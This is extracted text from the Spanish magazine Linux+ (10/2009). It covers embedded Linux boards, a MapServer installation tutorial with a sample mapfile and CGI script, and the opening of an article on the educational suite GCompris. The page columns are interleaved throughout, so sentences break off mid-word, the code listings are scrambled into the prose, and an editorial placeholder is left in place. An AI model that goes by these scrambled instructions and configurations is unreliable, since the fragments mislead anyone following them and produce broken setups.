dor digital, compatibilidad con una amplísi- ma variedad de periféricos USB que incluye hub, teclado, ratón, WiFi, Bluetooth, webcam, interfaz MMC+/SD/SDIO para conectividad de memoria o inalámbrica, salida S-Video para conexión de televisión NTSC o PAL, entrada/salida de audio estéreo para micró- fono y audífonos o altavoces, etc. Cuesta 149 dólares.

Conclusiones Los sistemas integrados son idóneos para la solución de muchas aplicaciones hoy día que requieren potencia computacional, bajo con- sumo y coste, movilidad, interconectividad, ser compactos, etc. Estos sistemas, todo en uno, no tienen nada que envidiar al resto de las arquitecturas listadas en la Tabla 1. La elec- ción del sistema integrado, aunque depende de las necesidades a satisfacer, será prácti- camente irrelevante teniendo en cuenta la convergencia: prestaciones, coste, versatili- dad, herramientas; todo ello con un sistema operativo común: Linux. Linux no sólo facilita el acceso a los re- Figura 4. BeagleBoard cursos del sistema integrado, sino que provee mel. El núcleo del procesador ARM9 incluye XScaleTM (200MHz y 400MHz). Tiene 64 una interfaz común. El kernel de Linux está una MAC Ethernet con seis puertos serie. MB de RAM y 16 MB Flash. Mide 80mm x adaptado a la arquitectura donde se integra Utiliza SDRAM externa e incluye una MMU 20mm x 6.3mm. Incluye un adaptador mi- para garantizar un óptimo aprovechamiento que permite correr los OSs Linux y WinCE. croSD (para añadir memoria adicional para de los recursos del sistema. La principal Un SoM (System on Module) es un pequeño programación y almacenamiento de datos) diferencia en estas variantes es la ausencia módulo integrado que contiene el núcleo de y señales de cámara CCD. Tiene acceso me- de la unidad de gestión de memoria (MMU, un sistema microprocesador. diante un puerto serie, USB, ethernet o inter- memory management unit); lo que hace que Utiliza el mismo empaquetado com- faces inalámbricas. En sus diferentes presen- un OS pueda trabajar en modo protegido in- pacto SODIMM que otros módulos SoM de taciones, todas consumen menos de 250mA tegrada en el procesador. Aunque suelen ser EMAC e incluye, toda la funcionalidad del cuando están a máxima capacidad y menos sistemas Linux multitarea, no tienen protec- núcleo procesador ARM: Flash, Memoria, de 50mA cuando están inactivas. Cuesta 129 ción de memoria ni otras características aso- Puertos Serie, Ethernet, Audio I2S, PWMs, dólares. ciadas. Afortunadamente, desde la versión Temporizadores/Contadores, A/D, líneas Beagle Board es un sistema integrado de 2.6 del kernel, Linux es reentrante y con dere- I/O digital, Reloj/Calendario, etc. Cuesta 150 bajo coste basado en la familia de dispositivos cho preferente para los procesos de usuario. dólares. OMAP3 de TI (http://beagleboard.org/) y uno Esto significa que cada proceso tiene una El OS Linux construido para el SOM- de los primeros procesadores integrados (SoC, prioridad y puede quitar el acceso al pro- 9260 está basado en el OpenEmbedded Li- system-on-chip) basado en el núcleo supers- cesador a procesos de menor prioridad; una nux. El kernel actual es Linux 2.6.20 o ma- calar Cortex-A8 ~600MHz de ARM. It uses vez termine, el proceso interrumpido conti- yor parcheado para soportar SOM-9260. El a TI OMAP3530 processor. nuará por donde se quedó; lo que, en otras sistema de fichero raíz básico incluye: busy- Entre las características más importantes palabras, garantiza tiempo real. box 1.7.2 o mayor, soporte hotplugging, del procesador OMAP3530 están: potencia de Existen sistemas integrados con recursos utilidades APM para gestión de consumo, cálculo alrededor de 1,200 Dhrystone MIPS para casi cualquier aplicación. Este tipo de servidor Dropbear SSH, soporte Telnet/FTP utilizando el ARM Cortex-A8 superscalar sistemas es idóneo para la integración de la corriendo bajo inetd, servidor HTTP busy- y caché 256KB L2 corriendo hasta 600MHz; informática en el entorno de una persona, de box-httpd, sistema de archivos JFFS2 con acelerador gráfico 2D/3D OpenGL© ES 2.0 forma que los ordenadores no se perciban utilidades, APM (Advanced Power Manage- capaz de generar 10 millones de polígonos como objetos diferenciados; lo que se co- ment) y muchas otras utilidades. También es por segundo; capacidad de vídeo HD con el noce como computación ubicua y es la base posible la construcción de Linux personali- DSP TMS320C64x+para procesador de señal del nuevo paradigma de la complejidad. En zados bajo demanda. versátil de hasta 430MHz; se alimenta vía USB definitiva un sistema integrado es un todo Gumstix verdex pro XM4 (http://www. con una lógica de consumo de potencia adi- (integrado, compacto, versátil, conectable) gumstix.com/) es un sistema integrado basado cional mínima; inaudita capacidad de expan- que puede ser parte de sistemas mucho más en el el procesador MarvellTM PXA270 con sión: DVI-D para conectar monitor de ordena- complejos; como la vida misma.

28 Linux+ 10/2009

24_25_26_27_28_Integrado.indd 28 2009-08-13, 14:22 29_rekl_Admelix.indd 1 2009-08-13, 14:40 software Mapserver

Mapserver en GNU/Linux Joaquín Alberto Rincón-Ramírez Mapserver es una aplicación que permite crear un sistema de información geográfica en internet capaz de visualizar, generar consultas y analizar información espacialmente georreferenciada, bajo los estándares del Open Geospatial Consortium.

a Infraestructura de Datos Espaciales de Es- sistema permite, por medio de un simple navegador de paña (http://www.idee.es/) en su portal web Internet, que los usuarios puedan encontrar, visualizar, define las IDE como “un sistema informático utilizar y combinar la información geográfica según sus integrado por un conjunto de recursos (catá- necesidades. [email protected] logos,L servidores, programas, datos, aplicaciones, páginas Cuenta con tres componentes principales que son: web,…) dedicados a gestionar Información Geográfica (mapas, ortofotos, imágenes de satélite, topónimos,…), • Datos, disponibles en Internet, que cumplen una serie de con- • Metadatos, diciones de interoperabilidad (normas, especificaciones, • Servicios. protocolos, interfaces,…) que permiten que un usuario, utilizando un simple navegador, pueda utilizarlos y com- Para el objetivo principal de este manual se tratará de có- binarlos según sus necesidades”. mo poner en funcionamiento parte del componente “ser- En el Curso de Infraestructuras de Datos Espaciales vicios” que son las funcionalidades accesibles mediante ofrecido por la Universidad Politécnica de Madrid en un navegador de Internet que una IDE ofrece al usuario la Escuela Técnica Superior de Ingenieros en Topo- para aplicar sobre los datos geográficos. Estas funcionali- grafía, Geodesia y Cartografía dentro del programa dades se organizan en servicios: servicios de visualización Doctoral en Ingeniería Geográfica, dan el siguiente de mapas, de descarga, de consulta, etc. concepto más refinado y preciso: una IDE es un sistema En este caso se explicará cómo poner en funciona- estandarizado integrado por un conjunto de recursos miento un servidor web que dentro de sus funciones esté informáticos cuyo fin es visualizar y gestionar cierta la de publicar un geoservicio como WMS (Web Map Ser- Información Geográfica disponible en Internet. Este vice) usando como herramienta informática el programa

30 Linux+ 10/2009

30_31_32_33_34_35_36_mapserver.indd 30 2009-08-14, 11:42 software Mapserver

“MapServer” en un sistema operativo tipo UNIX como es GNU/LINUX.

Mapserver Se considera como un entorno de desarrollo en código abierto (Open Source Initiative) para la creación de aplicaciones SIG en Inter- net/Intranet con el fin de visualizar, consultar y analizar información geográfica a través de la red mediante la tecnología Internet Map Server (IMS). Se considera como un motor de renderiza- do de datos geográficos escrito en C. MapServer permite crear "mapas de ima- gen geográfica", es decir, mapas que pueden dirigir a los usuarios a contenido. En su forma más básica, MapServer es un programa CGI que permanece inactivo en el servidor Web. Se activa cuando se presenta una solicitud a MapServer, utilizando la infor- Figura 1. Estructura básica de las aplicaciones de MapServer (http://mapserver.org/ mación aprobada en la solicitud de URL y el introduction.html#int) Mapfile para crear una imagen de dicho mapa. La solicitud también puede devolver imágenes fuente de datos, proyecciones, y la sim- su forma más simple, MapServer puede para las leyendas, la escala de barras y referen- bología. El archivo tiene que tener la ser llamado para colocar una imagen de cia de los mapas como variables CGI. extensión “.map” para que MapServer un mapa en una página html. Para realizar MapServer puede ampliarse y personali- pueda reconocerlo. INCLUIR MAPA DE el mapa interactivo, la imagen se coloca zarse a través de plantillas o Mapscript (interfaz EJEMPLO. en un formulario HTML en una página. de secuencias de comandos para MapServer • Datos Geográficos – MapServer puede para la construcción de la Web y aplicaciones utilizar una gran variedad de datos geo- Los programas CGI son “stateless”, lo que autónomas). Puede ser construido para apoyar gráficos de diferentes formatos. El for- significa que todas las solicitudes que re- diferentes tipos de vector y raster, y puede mato por defecto es el formato shapefile ciben son nuevas y que no almacenan nada generar una multitud de formatos de salida. La de ESRI. Otros formatos de datos pue- sobre la última vez que se vieron afectadas mayoría de las distribuciones pre-compiladas den ser soportados. por su aplicación. Por esta razón, cada vez de MapServer contienen casi la totalidad de • Páginas HTML – Son la interfaz entre el que su aplicación envía una solicitud de sus características principales. usuario y MapServer. Normalmente se MapServer, debe pasar la información de Sus características principales son: ponen en el directorio raíz de la web. En contexto (lo que está en capas, dónde está

• Se ejecuta bajo plataformas Linux/ Apache y Windows (MS4W), • Formatos vectoriales soportados: ESRI shapefiles, PostGIS, ESRI ArcSDE, GML y otros muchos vía OGR, • Formatos raster soportados: JPG, PNG, GIF, TIFF/GeoTIFF, EPPL7 y otros vía GDAL, • Fuentes TrueType, • Configuración "al vuelo" vía URL.

Una aplicación típica de MapServer se com- pone de:

• Map File – Es un archivo de configura- ción estructurado en forma de texto para las aplicaciones de MapServer. Define el área del mapa, le indica a MapServer dónde están sus datos y por dónde es la salida de imágenes. También define las capas de los mapas, incluyendo su Figura 2. Ejemplo de la respuesta de salida del servidor

www.lpmagazine.org 31

30_31_32_33_34_35_36_mapserver.indd 31 2009-08-14, 15:19 software Mapserver

opciones a saber se indican a continuación:

• Compilación de cada uno de los com- ponentes necesarios para su ejecución, tales como Apache, librerías necesarias para la ejecución de los programas, el propio MapServer, etc. • Archivos Binarios Auto-instalables. FGS (FOSS-GIS-Suite) del sitio http://www. maptools.org/fgs/. • HostGis. Distribución GNU/Linux basada en Slackware y específicamente hecha para manejar información GIS.

En el caso de las primeras dos opciones no Figura 3. Ventana que nos muestra nuestro servidor indicando que está funcionando adecuadamente estamos ligados a una determinada distribu- en el mapa, el modo de aplicación, etc., en el servidor Web de usuario debe tener de- ción de GNU/Linux llámese Ubuntu, Debian, formulario oculto variables o variables de URL. rechos para ejecutar el directorio que Gentoo, Fedora o Centos, incluso la primera Una simple aplicación CGI MapServer se encuentra, y por razones de seguridad, opción puede ser compilada en sistemas Ma- puede incluir dos páginas html: no debe estar en la raíz Web. Por defec- cOS. En el caso de la tercera opción al ser to, este programa se llama mapserv una distribución personalizada depende en • Archivo de inicialización – utiliza un for- • Servidor HTTP – Su función es servir este caso de Slackware. La primera opción se mulario con variables ocultas para enviar páginas html cuando éstas son solicita- ajusta más a usuarios de sistemas tipo UNIX una consulta inicial al servidor HTTP das por el navegador del usuario. Se ne- avanzados, mientras que las dos restantes pa- y MapServer. Este formulario puede ser cesita un servidor de HTTP (web), como ra usuarios con conocimientos medios. colocado en otra página o se sustituye Apache o Microsoft Internet Information por el que pasa la información de inicia- Server, en la máquina en la que está ins- Compilación básica lización de variables en una URL. talando MapServer. Es altamente reco- MapServer, desarrollado por la Universidad de • Archivo de plantilla – controla cómo los mendable que el servidor se instale en Minnesota, es un software gratuito de código mapas y leyendas generados por MapSer- una plataforma con SO Linux dada la abierto para el renderizado de mapas en la ver aparecerán en el navegador. La plan- estabilidad, seguridad y confianza que web. Debido a su naturaleza de código abierto, tilla también determina la forma en que otorga. puede ser compilado en una amplia variedad el usuario puede interactuar con la aplica- de plataformas y sistemas operativos. El obje- ción MapServer (navegar, acercar, mover, Instalación tivo de este apartado es cómo obtener, com- consulta). Existen de manera convencional tres maneras pilar e instalar MapServer en plataformas tipo • MapServer CGI – Es el archivo binario distintas para instalar MapServer en nuestro UNIX. También puede comprobar el Map- o ejecutable que recibe peticiones y de- ordenador, cada opción dependerá de cuántos ServerCompilation, página wiki para obtener vuelve las imágenes, datos, etc. Se en- conocimientos se tengan en manejar entornos información adicional. (http://trac.osgeo.org/ cuentra localizado en “scripts” o en el tipo UNIX, siendo más fáciles algunas op- mapserver/wiki/MapServerCompilation). directorio “cgi-bin” del servidor http. El ciones, pero menos personalizables. Las tres Obtener MapServer El primer paso es obtener el código fuente de MapServer de los repositorios oficiales: http:// download.osgeo.org/mapserver/mapserver- 5.4.1.tar.gz Bibliotecas externas requeridas:

• Libpng, Freetype, GD y Zlib

Bibliotecas altamente recomendadas:

• Libproj, Libcurl, OGR, GDAL y AGG.

Bibliotecas externas opcionales:

• Libtiff, Libgeotiff, Libjpeg, GEOS, Li- bxml, SDE Client Library, Oracle Spa- Figura 4. Vista del entorno gráfico por defecto en HostGis tial OCI, Libpq, Pdflib (lite) y Libming

32 Linux+ 10/2009

30_31_32_33_34_35_36_mapserver.indd 32 2009-08-14, 11:42 software Mapserver

que está configurado para ejecutar programas y scripts CGI. En virtud de que en una configuración por defecto, el directorio CGI es: "/usr/local/ apache/cgi-bin". El binario Mapserv se tiene que colocar en este directorio que es accesible en la siguiente dirección URL: "http://yourhostname.com/cgi- bin/mapserv". Al acceder a esta URL a través de su cliente web, debe esperar la siguiente salida si todo ha funcionado bien: "No query information to decode. QUE- RY_STRING is set, but empty”.

Instalacion con archivos binarios autoinstalables (FGS) El instalador “FGS Linux” es un archivo au- to-extraíble que instala MapServer con PHP/ Mapscript y todas sus dependencias en cual- quier sistema Linux. Proporciona un entorno Figura 5. Visualización de una imagen tipo raster devuelta por el servidor de mapas autónomo, con todo el software requerido

Compilación decode form results and (incluyendo Apache y PHP) para ejecutar En primer lugar necesitamos tener debida- should be initiated as a CGI PHP/Mapscript y aplicaciones webmapping. mente configurado nuestro sistema con todos process via a httpd server. La versión de Apache incluida puede ser con- los paquetes necesarios para compilar las [user@host mapserver]$ figurada para funcionar en cualquier puerto librerías necesarias antes de intentar compilar de modo que no interfiera con alguna instala- MapServer. El binario de MapServer ción previa de Apache u otros servidores web En el caso especial de distribuciones El programa MapServer consiste de un solo en su sistema. Este paquete se basó inicial- cuyo origen sea Debian todas las librerías archivo, el "mapserv" que es un binario eje- mente en las ideas de la Free Open Source y paquetes se pueden instalar directo desde cutable. Se trata de un ejecutable CGI, para Software (software libre) SIG Suite (FGS). Synaptic, (buscando, seleccionando y apli- ser convocado y dirigido por su servidor cando), o utilizando el comando “apt-get”. web. Distribuciones de GNU/Linux soportadas Este es el orden que se suele utilizar de Suponiendo que se esté ejecutando Apa- FGS ha sido probado en las siguientes pla- compilación: che bajo su estructura de directorios por defec- taformas: to en /usr/ local/apache. Puede que sea nece- • GD. sario tener privilegios para editar el httpd.conf • Fedora Core 2, • GDAL / OGR. (el principal archivo de configuración de • Debian Sarge, • Proj.4. Apache), o tener a alguien (por ejemplo, su • Debian Etch, • libcurl. webmaster) que le ayude con los detalles de • Gentoo, • Instalar bibliotecas opcionales. la configuración. • Centos 4, • Realizar los procesos “configure” y El objetivo principal es instalar el binario • Centos 5, “make” para instalar el programa. A "mapserv" en un directorio de acceso público • Ubuntu. diferencia de cualquier otro programa en Linux, MapServer omite el paso Listado 1. Pasos para la instalación del entorno gráfico “make install”. Siendo el resultado de

la compilación de MapServer un binario root@cursoide:~# mount /dev/hdc /mnt ejecutable listo para ser utilizado en un mount: block device /dev/hdc is write protected, mounting read only entorno de ejecución CGI. root@cursoide:~# /mnt/install.sh • Verifique que es correcta la instalación

buscando el archivo llamado “mapserv” HostGIS Linux Desktop for release 4.2 32bit [user@host mapserver]$ This will install the HostGIS Linux Desktop environment. ls -al mapserv This addon is intended only for HostGIS Linux 4.2 32bit -rwxr-xr-x 1 user user Instalation on other plataforms may not work the way you want. 351177 Dec 21 11:38 mapserv It is also recmmended that you have a backup of ypur system • Ejecute el siguiente test para verificar before proceeding...just in case que fue instalado correctamente. Press Ctrl-C to abort [user@host mapserver]$ ./mapserv Press Enter to continue the instalation. This script can only be used to

www.lpmagazine.org 33

30_31_32_33_34_35_36_mapserver.indd 33 2009-08-14, 11:42 software Mapserver

Listado 2. Fichero .map de ejemplo LAYER #map NAME Relieve NAME "ejemplo" TYPE raster STATUS ON STATUS on #SIZE 1024 768 DATA "/ruta de los datos/data/Imagen_raster.tif" SIZE 500 400 PROJECTION EXTENT -10 34 5 44 "init=epsg:4326" UNITS DD END SHAPEPATH "/Donde estan los datos geograficos raster METADATA o vectoriales/" "wms_title" "Titulo_imagen raster" FONTSET "/ruta/fonts.txt" "wms_abstract" "Resumen de como se obtuvo al imagen" IMAGETYPE jpeg "wms_keywordlist" "palabras clave" PROJECTION "wms_srs" "EPSG:4326" "init=epsg:4326" END END END WEB ######fin de carga de archivo raster IMAGEPATH "/directorio temporal/" IMAGEURL "/tmp/" ######carga de archivo shape METADATA LAYER "WMS_TITLE" "ejemplo" NAME Nombre_del_archivo_shape "WMS_ABSTRACT" "Resumen del objetivo del servidor de TYPE polygon_line_or_point mapas" STATUS on "WMS_ONLINERESOURCE" "http://localhost:8080/cgi-bin/ DATA "/ruta de los datos/data/Archivo_shape.shp" mapejemplo?" TRANSPARENCY 0 "WMS_SRS" "EPSG:4326 EPGS:23030" PROJECTION "WMS_ACCESSCONTRAINTS" "Ninguna" "init=epsg:4326" "WMS_ADDRESSTYPE" "Dirección Postal" END "WMS_ADDRESS" "domicilio" "WMS_CITY" "Madrid" CLASS "WMS_STATE" "Madrid" NAME 'Nombre_del_archivo_shape' "WMS_STATEORPROVINCE" "Madrid" COLOR 255 255 255 "WMS_POSTCODE" "28000" OUTLINECOLOR 0 255 255 "WMS_COUNTRY" "España" END "WMS_CONTACTELELECTRONICMAILADDRESS" "[email protected]" METADATA "WMS_CONTACTFACSIMILETELEPHONE" "000000000" "wms_title" "Nombre_del_archivo_shape" "WMS_CONTACTPERSON" "J. Alberto Rincon" "wms_abstract" "resumen de Nombre_del_archivo_shape "WMS_CONTACTORGANIZATION" "CP" "wms_keywordlist" "palabras clave" "WMS_KEYWORDLIST" "WMS, servidor de mapas en red" "wms_srs" "EPSG:4326" "WMS_VERSION" "1.1.0" END "WMS_FORMATS" "png gif jpeg" END # End de LAYER Provincias END ######fin de carga de archivo shp END END # fin del archivo map ####carga de archivo raster

Contenido • expat-base:2.0.1, • gdal-base:1.6.0, El paquete básico FGS instala un servidor • gd-lib:2.0.35, • tiff-lib:3.8.2, web pre-configurado que incluye los siguien- • jpeg-lib:6b, • libgeotiff-lib:1.2.5, tes componentes: • freetype-lib:2.3.9, • xerces_c-base:3.0.1, • libpng-lib:1.2.35, • unixODBC-base:2.2.12, • mapserver-php:5.4.0, • zlib-lib:1.2.3, • libungif-base:4.1.4, • mapserver-base:5.4.0, • curl-lib:7.19.4, • libiconv-base:1.12, • libstdc++-lib:6.0.8, • openssl-lib:0.9.8k, • proj4_epsg42xxx-support:4.6.1, • libgcc-lib:1, • proj-lib:4.6.1, • geos-lib:3.1.0, • apache-base:2.2.11, • postgresql-lib:8.3.7, • -base:2.7.3,

34 Linux+ 10/2009

30_31_32_33_34_35_36_mapserver.indd 34 2009-08-14, 11:42 software Mapserver

• agg-lib:2.4, • Apunte hacia la siguiente dirección URL • PDFLib, con soporte para PHP, Perl, • php-base:5.2.9, en un navegador web: http://localhost: Python y MapServer, • python_mapscript-module:5.4.0, puerto/cgi-bin/mapserv? • PostGIS habilitado, servidor de base de • python-base:2.6.2, • Y si todo está bien configurado, debería datos PostgreSQL, • gdal_ecw-module:1.6.0, recibir la siguiente salida: • Webmin, phpMyAdmin, y PhpPGAdmin • libecw-base:3.3.20060906, "No query information para facilitar la administración del sis- • postgis-lib:1.3.5. to decode. QUERY_STRING is set, tema, but empty". • Ejemplo de mapas y marcos de mapa ya En el siguiente enlace se puede descargar el ar- instalados, muestrario de “Mapserver Web chivo binario auto-extraíble: http://www.map- Instalación de Mapserver Widgets”, Mapa-Fu, imágenes ECW como tools.org/fgs/index.phtml?page=downloads.htm. usando la distribución fuentes de datos, PostGIS, MyGIS, servi- Se recomienda descargar la versión ex- “HostGIS Linux” dor y cliente WMS, salida en formato tendida siguiendo el siguiente enlace: http:// HostGIS Linux es una distribución GNU/ Flash, OpenLayers, TileCache, y más. www.maptools.org/dl/fgs/releases/9.5/self- Linux basada en Slackware y específicamen- installers/fgs-mapserver_extended_5.4.0- te para el manejo de información en un SIG. “HostGIS Linux” es distribuido en dos CD fgs_9.5-linux-i386.bin HostGIS Linux al estar basado completamen- de instalación: el CD para la instalación de un te en aplicaciones de código abierto se puede servidor básico y el CD con el complemento • Una vez que tenemos descargado el descargar, modificar y redistribuir de forma del entorno gráfico del Escritorio. archivo y guardado en nuestro ordena- gratuita. HostGIS Linux incluye las siguien- El CD del servidor de base instalará un dor, procedemos a ejecutar el siguiente tes características para ahorrar horas o días servidor de mapas y puede ofrecer el servicio comando desde la consola para realizar dedicados a la instalación, permitiendo tener a través de la web. En caso de requerir una la instalación: un servicio de mapas en línea en cuestión de interfaz gráfica de escritorio y software de

$ sh fgs-mapserver_5.0.2-fgs_ minutos. SIG de escritorio, será necesario instalar el 1.0.0-linux-i386.bin Todas las comodidades habituales de segundo CD de la distribución. • Especifique el puerto TCP por el cual quie- Slackware Linux: compiladores, Perl, etc. En el siguiente enlace se pueden des- re que se ejecute Mapserver, por ejemplo, cargar las diferentes versiones de HostGIS 8080, • Servidor web Apache con PHP, Linux: http://www.slackware.org.uk/hostgis/. • Una vez finalizada la instalación, se proce- • MapServer, y Mapscript para PHP, Perl, Una vez descargados las dos imágenes de a verificar que esté en orden la misma, Python, de CD se procederá a grabarlas en unos CD

PUBLICIDAD

www.lpmagazine.org 35

30_31_32_33_34_35_36_mapserver.indd 35 2009-08-14, 11:42 software Mapserver

directamente haciendo uso de algún software de Mapserver la alternativa de instalarlo com- para grabación de CD. pletamente en un sistema Linux. Bibliografía consultada

Instalación Definiendo los parámetros • Caen, F., 2007, Ubuntu Linux Tool- El proceso de instalación es similar a cuando del Script CGI box: 1000+ Commands for Ubuntu se instala de manera semi automática un ser- Mediante el uso de un script CGI se le indica and Debian Power Users, Wiley. vidor en Linux. al binario de mapserver dónde tiene que bus- • http://es.wikipedia.org car el mapa (ver Listado 2) con la informa- http://mapserver.org/ Configuración Post-Instalación ción de los servicios a ofrecer, y de ese modo • http://mapserver.org/introduction.ht En esta etapa de la instalación se procederá se puedan realizar consultas más limpias al ml#introduction a realizar la configuración de la zona ho- servidor de mapas. • http://www.hostgis.com/linux raria, del dispositivo señalador, el nombre A continuación se indica un ejemplo de • http://www.maptools.org/ que le asignaremos a nuestro servidor, la un script CGI: • http://www.maptools.org/fgs/ configuración de las variables de Apache • http://www.idee.es/

y para hacer más amigable el sistema se ins- #! /bin/sh show.do?to=pideep_pidee.ES talará el gestor de ventanas para poder tener MS_MAPFILE=/Directorio donde esta el • http://www.idee.es/clientesIGN/ una interfaz gráfica con la cual podamos fi chero map/ejemplo.map wmsGenericClient/ interactuar de manera más intuitiva con el export MS_MAPFILE index.html?lang=ES servidor. /directorio donde se localiza el • Kropla, B. 2005, Beginning binario de mapserver/mapserv MapServer: open source GIS Configuración del escritorio development,Apress de entorno gráfico En el Listado 2 se muestra un fichero .map En caso de que se desee tener, aparte de la donde se ve el tipo de servicio soportado y la ésta llegaba a ser bastante confusa ya que funcionalidad del servidor de MapServer, manera en que se agrega la información geo- en ocasiones iba dirigida a usuarios experi- aplicaciones de entorno SIG como GRASS, gráfica de tipo raster y tipo vectorial. mentados en Linux. Por lo tanto este trabajo Qgis, o PostgreSQL, se opta por instalar el Guardamos el fichero anterior con la ex- es un aporte a la documentación en español CD del entorno gráfico que se mencionó al tensión .map en el directorio destinado para para la configuración de MapServer en un inicio de esta sección. los datos, el cual debe coincidir con la infor- entorno Linux. El CD de entorno gráfico incluye entre mación del script CGI. Una vez que se tienen Aunque el presente tutorial no está pen- otras aplicaciones GRASS, Qgis, uDig, y hace los datos en el directorio de trabajo y que está sado para personas novatas en el uso de sis- más fácil la gestión del servidor. debidamente configurado el archivo .map se temas Linux, el presente manual no debería procede a hacer la consulta al servidor: http:// de presentar tantos problemas y puede llegar Instalación del entorno gráfico localhost/cgi-bin/mapserv?service=WMS&v a ser una buena experiencia para aquellos Para iniciar este procedimiento es necesario ersion=1.1.0&request=GetCapabilities. que se inician en el uso de estos sistemas ope- ingresar al sistema como usuario “root” , para Como resultado se obtiene un fichero rativos, ya que se tocan los principales que- tener los privilegios necesarios para la insta- xml donde se indican los parámetros y ser- haceres al momento de instalar o configurar lación del entorno gráfico. Una vez dentro vicios del servidor de mapas definidos en el algún programa. del sistema con privilegios de superusuario, archivo .map. Y ante cualquier duda puede consultar insertamos el CD en el ordenador, y teclea- Finalmente para poder visualizar un ma- en diversos foros en español de usuarios mos las siguientes instrucciones (Listado 1). pa tenemos que ingresar en el navegador o en de Linux en los cuales encontrará ayuda el Presionamos la tecla “enter” para dar inicio a un visualizador de servicios WMS como Qgis lector. la instalación automática del entorno gráfico. o GvSIG la petición debidamente estructu- Finalmente queda configurado el servidor de rada: http://localhost:8080/cgi-bin/mapserv? HostGIS con el entorno gráfico listo para el service=WMS&version=1.1.0&request=Get trabajo. Map&Layers=Imagen. Acerca del Autor Levantando el servidor Conclusiones Joaquín Alberto Rincón-Ramírez, de básico de mapas y recomendaciones nacionalidad mexicana es actualmente Una vez que se tiene completado el proceso Este trabajo se pensó como una alternativa estudiante del Doctorado en Ingeniería de instalación se procede a elaborar el archivo a aquellos usuarios que prefieren usar algún Geográfica en la Universidad Politécnica .map donde estarán todas las especificaciones sistema operativo tipo UNIX como GNU/ de Madrid. Es usuario de Linux desde el referentes al servidor de mapas, (por ejemplo Linux al querer montar una Infraestructura 2005, iniciándose con Debian y actual- si se utilizará algún servidor remoto o so- de Datos Espaciales. Debido a que en la Web mente Ubuntu 9.04. Su experiencia en lamente datos locales, por decir uno de los al momento de realizar el presente estudio Linux se ha centrado en aplicaciones apartados). Cabe mencionar que esta parte del no había información suficiente en español referentes a Sistemas de Información proceso requiere más tiempo para su explica- para la configuración de MapServer en Li- Geográfica y Teledetección tales como ción y desarrollo que se sale del contexto del nux, y respecto a la información necesaria GRASS GIS, Qgis, y GvSIG, como una presente trabajo que es explicar a los usuarios para la configuración de variables “cgi”, alternativa a software de tipo propietario.

36 Linux+ 10/2009

30_31_32_33_34_35_36_mapserver.indd 36 2009-08-14, 11:42 37_rekl_Consultor_PC.indd 1 2009-08-13, 14:43 software Linux para niños

Gcompris: para que los niños aprendan jugando Leonel Iván Saafigueroa Con más de 100 actividades para niños de entre 2 y 10 años de edad, GCompris es un Software Libre educativo, que brinda la posibilidad de adaptarlo a las necesidades del aula.

l francés Bruno Coudoin lideró la creación de las distribuciones más conocidas como pueden ser De- de Gcompris en el año 2000, por aquel enton- bian y Ubuntu, también podemos descargar desde el sitio ces las distintas aplicaciones educativas dispo- oficial del proyecto una versión para el sistema operativo nibles eran muy escasas, eran diferentes, una comercial Windows, pero con la limitación de que esa ver- [email protected] Epara cada actividad y en muchos casos soluciones comer- sión tiene menos aplicativos; ésta es una forma de apoyar ciales, no existía ninguna suite que unificara todas las ac- al software libre pues sus versiones para GNU-Linux están tividades que necesitan los docentes dentro de una misma completas y sin limitaciones, de igual forma si quisiéramos interfaz, por lo tanto tenían que aprender a usar varios pro- la versión completa para Windows, podemos adquirirla pa- gramas, cada uno distinto del otro. gando un precio, creo que es lo más justo... si puedes pagar Así fue que con la intención de crear una interfaz uni- por la licencia del sistema operativo, también podrás pagar ficada, que permitiera acceder fácilmente al uso de juegos por Gcompris. educativos, la idea de Gcompris fue creciendo y tomando forma. Actualmente logra su objetivo, presenta un entorno ¿Qué se puede hacer con Gcompris? unificado, siendo fácil añadir nuevas aplicaciones o modi- En Gcompris encontraremos las actividades dentro de ficar las existentes. distintas categorías: jugar con periféricos del computador (permite descubrir el teclado y el mouse con distintas acti- Completo para GNU-Linux, recortado vidades que ayudan a estimular los reflejos y la parte mo- para Windows, pero siempre GPL triz en los niños); actividades de descubrimiento (basadas Algo curioso de este proyecto es su forma de distribución, en colores, encontrar tus manos, algoritmo, aprender la si bien cumple al pie de la letra la GPL (Licencia Publica hora y juegos basados en sonidos); actividades basadas en General), y lo podemos encontrar dentro de los repositorios el movimiento físico (operar una esclusa, crear y simular

38 Linux+ 10/2009

38_39_Gcompris.indd 38 2009-08-13, 14:25 software Linux para niños

Figura 1. Pantalla de presentación de Gcompris un esquema eléctrico, pilotear un submarino); actividades recreativas (hexágono, procesador de textos, herramienta de dibujo y animación libre, hablar con tus amigos); actividades de matemáticas y actividades de cálculo (igual- Figura 3. Juego de estrategia - ordena las cuatro monedas en una fila dad de números, desigualdad de números, múl- tiplos de números, factores de números, nú- sar a la manipulación virtual. De esta forma el si desea adicionar nuevas actividades, en el meros primos, equilibrar balanzas); activida- aprendizaje se hace de forma intuitiva, y cada sitio del proyecto encontrará documentación des de geometría (dibujo vectorial); actividades actividad irá avanzando en dificultad, hacién- completa que describe el funcionamiento in- de numeración (contar elementos, uso del di- dose más compleja en los sucesivos niveles. terno de GCompris y un instructivo paso a pa- nero); puzzles variados (tangram, torre de Hanoi so sobre cómo adicionar nuevas actividades; simplificada, súper cerebro); actividades de lec- Administrar Gcompris existe además una lista de correo y también tura; actividades de estrategia (juego de estra- Como en otras suites educativas en Gcompris podrá contactar con sus creadores en el canal tegia Oware, no uses la última bola, Ordena contamos con un módulo de administración, # del servidor irc.freenode.net las cuatro monedas en una fila); éstas son sólo el mismo es relativamente nuevo y se intro- Para tener una idea de la cantidad de tra- algunas de las tantas aplicaciones que están dis- dujo recién en la versión versión 7.0 (actual- bajo realizado por estos desarrolladores, en ponibles tanto en la versión completa como mente van por la versión 8.3), con un número su página comentan que una actividad gene- en la versión recortada para Windows de de actividades grande, era necesario un filtro ralmente corresponde a un archivo individual Gcompris, todas dentro de un mismo paquete que permitiera configurar las actividades que de unas 500 líneas de código C o Python, educativo, completamente libre y disponibles se presentaran en una clase determinada. GCompris está basado en canvas widget de en muchos idiomas, entre ellos el español. De esta forma es posible la creación de Gnome y recomiendan también no dejar de usuario y grupos, que cumplan con cierto per- ver la API de gnomecanvas. El valor pedagógico fil a la hora de ejecutar luego Gcompris, per- y didáctico de Gcompris mitiendo así ajustar las distintas actividades Conclusión Siguiendo la práctica pedagógica francesa co- que aparecerán en el tablero de la interfaz. GCompris es una gran compilación de acti- mún, los niños irán descubriendo las distintas vidades y diferentes juegos para niños desde aplicaciones, aprendiendo y jugando; Gcom- ¿Cómo contribuir con 2 (dos) a 10 (diez) años de edad. Una herra- pris integra al alumno dentro de una perspecti- 